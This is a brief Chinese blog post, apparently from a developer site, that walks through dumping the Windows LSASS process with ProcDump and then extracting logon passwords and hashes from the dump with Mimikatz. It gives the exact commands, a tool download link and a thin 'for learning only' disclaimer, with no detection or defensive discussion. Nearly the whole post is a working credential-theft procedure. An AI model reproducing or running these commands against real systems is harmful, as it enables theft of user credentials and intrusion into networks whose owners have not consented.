本文介绍如何使用Procdump与Mimikatz等工具，在Windows环境下导出lsass进程快照，并从该快照中提取用户的登录凭证信息。此过程包括获取管理员权限、使用Procdump捕获lsass进程、使用Mimikatz解析lsass转储文件等步骤。
1，管理员权限打开cmd，进入对应目录
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件
2，管理员权限打开mimikatz.exe
执行privilege::debug；
3，管理员权限打开cmd，进入对应目录
把lsass.dmp放在mimikatz目录利用
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
工具下载路径：
https://download.youkuaiyun.com/download/onlyfunboy/19667731
免责声明：工具来源是开源软件和微软官方下载的，仅供个人学习和使用。如果有什么问题，请联系博主删除文章。
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
